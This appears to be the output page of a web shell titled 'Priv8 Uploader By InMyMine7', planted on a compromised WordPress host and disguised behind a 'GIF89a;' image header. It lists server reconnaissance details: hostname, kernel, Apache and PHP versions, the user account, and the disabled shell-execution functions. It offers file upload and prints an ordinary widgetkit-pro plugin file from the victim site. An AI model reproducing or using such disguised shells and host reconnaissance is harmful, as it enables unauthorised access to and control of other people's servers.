GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/widgetkit-pro/inc/dependency.php
<?php

if( ! defined( 'ABSPATH' ) ) exit();

class WKP_Dependency{
    /**
     * Important notice
     * -----------------
     * this file only be loaded 
     * for admin 
     * not in frontend
     */

    private static $instance;
    public static function init(){
        if(null === self::$instance ){
            self::$instance = new self;
        }
        return self::$instance;
    }
    public function __construct(){
        if (!did_action('elementor/loaded')) {
            add_action( 'admin_notices', array($this, 'check_dependend_plugin_elementor') );
        }
        add_action( 'admin_notices', array($this, 'check_dependend_plugin_widgetkit') );
    }

    public function check_dependend_plugin_elementor(){
        if (!current_user_can('activate_plugins')) {
            return;
        }
        $elementor_main_file = 'elementor/elementor.php';

        if(! $this->get_all_plugin_in_my_site($elementor_main_file)){
            /**
             * if plugin not found
             */
            $activation_url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=elementor'), 'install-plugin_elementor');
            $message = sprintf(__('<strong>Widgetkit Pro</strong> requires <strong>Elementor</strong> plugin to be installed and activated. Please install <strong>Elementor</strong> to continue.', 'widgetkit-pro'), '<strong>', '</strong>');
            $button_text = __('Install Elementor Now', 'widgetkit-pro');
        }else{
            /**
             * if found
             */
            $activation_url = wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $elementor_main_file . '&amp;plugin_status=all&amp;paged=1&amp;s', 'activate-plugin_' . $elementor_main_file);
            $message = __('<strong>Widgetkit Pro</strong> requires <strong>Elementor</strong> plugin to be active. Please activate Elementor to continue.', 'widgetkit-pro');
            $button_text = __('Activate Elementor Now', 'widgetkit-pro');
        }
        $button = '<p><a href="' . $activation_url . '" class="button-primary">' . $button_text . '</a></p>';
        printf('<div class="error"><p>%1$s</p>%2$s</div>', __($message), $button);
    }
    /**
     * check widgetkit 
     */
    public function check_dependend_plugin_widgetkit(){
        if (!current_user_can('activate_plugins')) {
            return;
        }
        $widgetkit_main_file = 'widgetkit-for-elementor/widgetkit-for-elementor.php';

        if(! $this->get_all_plugin_in_my_site($widgetkit_main_file)){
            /**
             * if plugin not found
             */
            $activation_url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=widgetkit-for-elementor'), 'install-plugin_widgetkit-for-elementor');
            $message = sprintf(__('<strong>WidgetKit Pro</strong> requires <strong>All-in-One Addons for Elementor - WidgetKit</strong> plugin to be installed and activated. Please install <strong>All-in-One Addons for Elementor - WidgetKit</strong> to continue.', 'widgetkit-pro'), '<strong>', '</strong>');
            $button_text = __('Install Now', 'widgetkit-pro');
            $button = '<p><a href="' . $activation_url . '" class="button-primary">' . $button_text . '</a></p>';
            printf('<div class="error"><p>%1$s</p>%2$s</div>', __($message), $button);
        }else{
            /**
             * if found
             */
            if(!is_plugin_active($widgetkit_main_file)):
            $activation_url = wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $widgetkit_main_file . '&amp;plugin_status=all&amp;paged=1&amp;s', 'activate-plugin_' . $widgetkit_main_file);
            $message = __('<strong>Widgetkit Pro</strong> requires <strong>All-in-One Addons for Elementor - WidgetKit</strong> plugin to be active. Please activate Elementor to continue.', 'widgetkit-pro');
            $button_text = __('Activate Now', 'widgetkit-pro');
            $button = '<p><a href="' . $activation_url . '" class="button-primary">' . $button_text . '</a></p>';
            printf('<div class="error"><p>%1$s</p>%2$s</div>', __($message), $button);
            endif;
        }
    }

    public function get_all_plugin_in_my_site($plugin_base_name){
        $installed_plugins = get_plugins();
        return isset($installed_plugins[$plugin_base_name]);
    }



}